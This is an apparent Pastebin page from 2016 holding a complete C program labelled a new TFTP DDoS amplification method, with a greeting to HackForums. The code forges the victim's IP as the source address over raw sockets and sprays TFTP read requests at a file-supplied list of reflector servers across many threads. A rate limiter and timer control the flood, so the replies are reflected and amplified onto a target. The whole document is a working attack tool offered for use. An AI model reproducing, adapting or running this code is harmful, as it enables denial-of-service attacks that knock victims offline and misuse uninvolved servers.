daily pastebin goal
52%
SHARE
TWEET

tftp.c

wtfbbq Mar 9th, 2016 1,354 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* NEW TFTP DDoS AMPLIFICATION METHOD. */
  2. /* Greetz: HackForums.net */
  3.  
  4. #include <time.h>
  5. #include <pthread.h>
  6. #include <unistd.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/socket.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/udp.h>
  13. #include <arpa/inet.h>
  14. #define MAX_PACKET_SIZE 8192
  15. #define PHI 0x9e3779b9
  16. static uint32_t Q[4096], c = 362436;
  17. struct list
  18. {
  19.     struct sockaddr_in data;
  20.     struct list *next;
  21.     struct list *prev;
  22. };
  23. struct list *head;
  24. volatile int tehport;
  25. volatile int limiter;
  26. volatile unsigned int pps;
  27. volatile unsigned int sleeptime = 100;
  28. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  29. void init_rand(uint32_t x)
  30. {
  31.     int i;
  32.     Q[0] = x;
  33.     Q[1] = x + PHI;
  34.     Q[2] = x + PHI + PHI;
  35.     for (i = 3; i < 4096; i++)
  36.     {
  37.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  38.     }
  39. }
  40. uint32_t rand_cmwc(void)
  41. {
  42.     uint64_t t, a = 18782LL;
  43.     static uint32_t i = 4095;
  44.     uint32_t x, r = 0xfffffffe;
  45.     i = (i + 1) & 4095;
  46.     t = a * Q[i] + c;
  47.     c = (t >> 32);
  48.     x = t + c;
  49.     if (x < c) {
  50.     x++;
  51.     c++;
  52.     }
  53.     return (Q[i] = r - x);
  54. }
  55. unsigned short csum (unsigned short *buf, int nwords)
  56. {
  57.     unsigned long sum = 0;
  58.     for (sum = 0; nwords > 0; nwords--)
  59.     sum += *buf++;
  60.     sum = (sum >> 16) + (sum & 0xffff);
  61.     sum += (sum >> 16);
  62.     return (unsigned short)(~sum);
  63. }
  64. void setup_ip_header(struct iphdr *iph)
  65. {
  66.     iph->ihl = 5;
  67.     iph->version = 4;
  68.     iph->tos = 0;
  69.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
  70.     iph->id = htonl(54321);
  71.     iph->frag_off = 0;
  72.     iph->ttl = MAXTTL;
  73.     iph->protocol = IPPROTO_UDP;
  74.     iph->check = 0;
  75.     iph->saddr = inet_addr("192.168.3.100");
  76. }
  77. void setup_udp_header(struct udphdr *udph)
  78. {
  79.     udph->source = htons(5678);
  80.     udph->dest = htons(69);
  81.     udph->check = 0;
  82.     memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x2f\x78\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00", 14);
  83.     udph->len=htons(sizeof(struct udphdr) + 14);
  84. }
  85. void *flood(void *par1)
  86. {
  87.     struct thread_data *td = (struct thread_data *)par1;
  88.     char datagram[MAX_PACKET_SIZE];
  89.     struct iphdr *iph = (struct iphdr *)datagram;
  90.     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  91.     struct sockaddr_in sin = td->sin;
  92.     struct  list *list_node = td->list_node;
  93.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  94.     if(s < 0){
  95.     fprintf(stderr, "Could not open raw socket.\n");
  96.     exit(-1);
  97.     }
  98.     init_rand(time(NULL));
  99.     memset(datagram, 0, MAX_PACKET_SIZE);
  100.     setup_ip_header(iph);
  101.     setup_udp_header(udph);
  102.     udph->source = htons(rand() % 65535 - 1026);
  103.     iph->saddr = sin.sin_addr.s_addr;
  104.     iph->daddr = list_node->data.sin_addr.s_addr;
  105.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  106.     int tmp = 1;
  107.     const int *val = &tmp;
  108.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  109.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  110.     exit(-1);
  111.     }
  112.     init_rand(time(NULL));
  113.     register unsigned int i;
  114.     i = 0;
  115.     while(1){
  116.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  117.         list_node = list_node->next;
  118.         iph->daddr = list_node->data.sin_addr.s_addr;
  119.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  120.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  121.        
  122.         pps++;
  123.         if(i >= limiter)
  124.         {
  125.             i = 0;
  126.             usleep(sleeptime);
  127.         }
  128.         i++;
  129.     }
  130. }
  131. int main(int argc, char *argv[ ])
  132. {
  133.     if(argc < 6){
  134.     fprintf(stderr, "Invalid parameters!\n");
  135.     fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  136.         exit(-1);
  137.     }
  138.     srand(time(NULL));
  139.     int i = 0;
  140.     head = NULL;
  141.     fprintf(stdout, "Setting up sockets...\n");
  142.     int max_len = 128;
  143.     char *buffer = (char *) malloc(max_len);
  144.     buffer = memset(buffer, 0x00, max_len);
  145.     int num_threads = atoi(argv[4]);
  146.     int maxpps = atoi(argv[5]);
  147.     limiter = 0;
  148.     pps = 0;
  149.     int multiplier = 20;
  150.     FILE *list_fd = fopen(argv[3],  "r");
  151.     while (fgets(buffer, max_len, list_fd) != NULL) {
  152.         if ((buffer[strlen(buffer) - 1] == '\n') ||
  153.                 (buffer[strlen(buffer) - 1] == '\r')) {
  154.             buffer[strlen(buffer) - 1] = 0x00;
  155.             if(head == NULL)
  156.             {
  157.                 head = (struct list *)malloc(sizeof(struct list));
  158.                 bzero(&head->data, sizeof(head->data));
  159.                 head->data.sin_addr.s_addr=inet_addr(buffer);
  160.                 head->next = head;
  161.                 head->prev = head;
  162.             } else {
  163.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  164.                 memset(new_node, 0x00, sizeof(struct list));
  165.                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  166.                 new_node->prev = head;
  167.                 new_node->next = head->next;
  168.                 head->next = new_node;
  169.             }
  170.             i++;
  171.         } else {
  172.             continue;
  173.         }
  174.     }
  175.     struct list *current = head->next;
  176.     pthread_t thread[num_threads];
  177.     struct sockaddr_in sin;
  178.     sin.sin_family = AF_INET;
  179.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  180.     struct thread_data td[num_threads];
  181.     for(i = 0;i<num_threads;i++){
  182.         td[i].thread_id = i;
  183.         td[i].sin= sin;
  184.         td[i].list_node = current;
  185.         pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  186.     }
  187.     fprintf(stdout, "Starting flood...\n");
  188.     for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  189.     {
  190.         usleep((1000/multiplier)*1000);
  191.         if((pps*multiplier) > maxpps)
  192.         {
  193.             if(1 > limiter)
  194.             {
  195.                 sleeptime+=100;
  196.             } else {
  197.                 limiter--;
  198.             }
  199.         } else {
  200.             limiter++;
  201.             if(sleeptime > 25)
  202.             {
  203.                 sleeptime-=25;
  204.             } else {
  205.                 sleeptime = 0;
  206.             }
  207.         }
  208.         pps = 0;
  209.     }
  210.     return 0;
  211. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top